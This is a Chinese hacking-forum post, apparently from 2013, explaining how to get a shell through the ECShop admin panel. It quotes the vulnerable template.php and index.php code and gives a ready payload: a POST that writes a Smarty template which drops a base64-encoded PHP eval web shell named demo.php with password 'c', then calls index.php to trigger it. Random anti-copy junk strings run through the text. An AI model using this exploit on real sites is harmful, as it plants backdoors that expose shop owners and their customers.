找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2391|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
- Q% W' ]  z/ ?4 ?- y! [
& S, _! R0 v" T6 v而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
* l) r4 B2 b, e但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
' H% T' n% U0 k' W) p  badmin/template.php$ A! Z5 U0 Y: [3 b4 y$ B. P  `% @4 c

7 [  g$ V  r  N8 V1 if ($_REQUEST['act'] == 'update_library')
8 w- Y0 U$ e/ ]1 K2 c/ w$ i/ v: ?
2   
- V& ^; I' F) W9 ^& D, M9 z7 n* U6 H2 s9 R4 I
3 {
. r" c$ n, m; r6 n% S
& r! b0 H) V: p4     check_authz_json('library_manage');
6 V  t; X, [! c! t$ K( v/ D
7 h; ?$ _" t# M8 R6 r7 ^5   0 D/ Q; r* z, X6 f; X

' V3 ^% p$ ^+ O3 j6     $html = stripslashes(json_str_iconv($_POST['html']));
9 {3 N, r7 E* g, @# Y- A' c" f2 \4 t. I
7   + Z  i5 M3 Z6 G* P
" L. _8 [1 r; g. Z
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
1 e( ?# N. {" o  @8 Y. g
! S5 [" c. x# Y# r9   
3 q; Y9 C& m. i3 w7 }" V# |5 _
; j8 c: Z, Z* o9 [, C4 L" Y& C2 I10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
4 ~  ~2 ^) O2 z/ _- f" z/ H- h  x  W
11   7 W( z4 d& S4 M. |7 v% w

. q& p8 G( \; b9 b& @12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
0 ~' U8 L6 k; D1 ]4 ~+ P' T. u" b& v7 w$ {$ P% w5 Z
13   - P0 r2 x, O1 q. n$ W7 D. I: t

0 z# l5 G. g) t5 m# }1 M14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
/ F9 w# B& q- A8 g/ P. v: Q$ j+ r& r* o' D; d5 a8 w: H0 \: q
15     {
7 ?8 t6 z4 n$ a+ Z3 l2 ~1 B
! u6 X* T2 t# l+ ~- |  L) s( T- X16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
* X: w) B6 P: }( d
! n- i" a' H; M! w17         make_json_result('', $_LANG['update_lib_success']); 0 p: }* @& {' q/ f' {, U0 U; F

" F! O& i3 n3 Q6 ?2 k18     } - S+ {' t& @7 H9 h+ ^. t. u. K

" F% f" v! D/ ?0 V0 @% Y19     else
: U6 U7 ~" N* }
7 f* D# }2 Y8 ~& h20     {
+ v& j+ Q$ |$ s3 L" S- a! J: T+ Z  ^( j- [9 A' U8 i
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
/ P: D1 B: H5 p0 a5 n# t9 c) D+ u) i
22     }
1 M  s. @/ g" u' ?8 D, B" f" v7 F- d4 y+ i# [
23 } ( i. J- ?8 \' k! d% ^9 a

1 Z4 `/ x. C( }% T1 k: @+ H那么找个比较方便调用了模板的文件
! \& y6 g& T6 |' {1 ^2 n$ dindex.php% h8 J5 a1 `( [' |) ^; }

" v" a9 z0 g; P* y1 if ($act == 'cat_rec')
0 k5 A& B1 i/ ]# \, \% H$ m7 q4 W6 f4 e0 z6 j9 S6 X3 `9 l! y
2   
( T0 ]6 H$ H' f* T( `  u( [9 i( L" \" X: j
3 {
/ p+ v# G' M6 S9 b" }3 ]0 j
+ S# U3 m) a9 p4   
; @9 c4 W4 B3 z3 [
$ W. A8 i. P6 t8 u: w5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
) W& e! @2 l6 x6 o: j
8 c$ d, a5 g# b8 ?/ D6   7 g, ]* H/ J6 j4 t: c: K( Q

- V5 \- W. m' b. A  Y5 \7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; ! Q  J. M" H5 K5 g/ t
. }! ]2 {6 y7 e, g9 Y$ |" \/ v* r% Q
8   
$ v; `/ N2 K5 r4 a' b1 m0 U7 V& A6 O
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; ; v) H) E& X$ l* v5 {$ ]
7 `( I# H8 I+ E8 \) n1 B
10   " V, F- O2 q* P/ k2 ^
( v" O: R5 F  ^* M
11     include_once('includes/cls_json.php'); ) d' p1 r# J& r# ?1 M
$ J  I' _* D5 b3 b
12   4 D" L5 s7 n8 L

) |5 M! N" x% L1 p/ ~2 N. M13     $json = new JSON; - v6 v5 X/ h' @  N% b4 u

& B! I. K1 M( k& l$ a14   ) g& D3 y0 J" U2 q6 K  j

2 k+ y9 W. }& D  I15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); . R* }  r) c0 y
- N( G/ |  m, M8 G8 c
16   
% b5 l* i* m4 Q6 D- ?1 l, W0 O1 F7 p% ?, m! l. y/ r* b- J0 E; P: y& C) c
17     $children = get_children($cat_id); 2 C# w0 N, I1 n2 _0 R9 K
4 M4 t4 B$ \. X
18   : {- C; f9 O2 z0 X5 T, T

: {: E# k: I: i( C19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 9 J0 y2 U4 C4 V9 _! l- P: f( L# t

! l# g( q4 i( V' B( }. ^20   . [9 s0 X& U3 P2 Z' |8 ?

# x- P6 Y4 U$ T5 }3 a2 e, S7 O- }21     $smarty->assign('cat_rec_sign', 1); % e0 v$ j- E# ]+ V- `* L; C. x

2 e$ F8 A! ^5 {' t4 Y5 a9 B22   
% a+ l) f3 ]: I
, r( |" B( u# ~0 H) e23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
" W. u! d! J2 B, _' H: |
1 v+ Q4 t& N! Q# a, `5 P. @24   + S5 @: `; q8 w2 V) |3 j& \! J

6 {% @' @3 b# O  O4 t25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; " }* x, b' x' i+ A
7 v; j7 _$ w1 e* @& z3 r
26   
0 f( }0 n0 c+ v4 {8 |* e
) f" c' o4 E+ W4 q2 H27         echo $rec_array[$rec_type]; 9 U) W$ K: w. T: P8 v
6 H7 W! p$ W1 ?" B4 Z
28   
! r# U8 \9 j$ S: M1 {( E( w, C6 O% H
29     die($json->encode($result));
7 s4 c$ V4 N& A3 Z: ~( b' u! I4 B" v, D5 n+ |, f
30   
! `5 S+ D0 m! x, G+ {! Q
8 E1 K) @5 r' o* F31 } + Z/ U& g& O/ v, O

( q- b. P8 L2 C3 V' W) E$ d6 V那么就有利用方法了
; E( b2 g7 A: g! P" Ipost包到http://localhost/ec/admin/template.php?act=update_library
8 j' N* Y( S) H+ `) ePost内容:9 z6 a' U* ?: V8 g! Q/ Q

: ^7 X% M. v) O0 z3 ^$ o2 J4 f/ G1 Q/ H
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} ) `/ N6 T* V. x
0 G' D3 a) m' s
然后访问http://localhost/ec/index.php?act=cat_rec' `7 d# Z* Y% G; _8 l
- Z  `' I! G2 C3 u. ~( @+ o1 e
shel地址:http://localhost/ec/demo.php
. g2 ~; h- _( ^) x8 t% S' Q- c密码c
! F' o" v( W% a, M& z
0 Y  A8 o- e. l4 M% C' i. j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表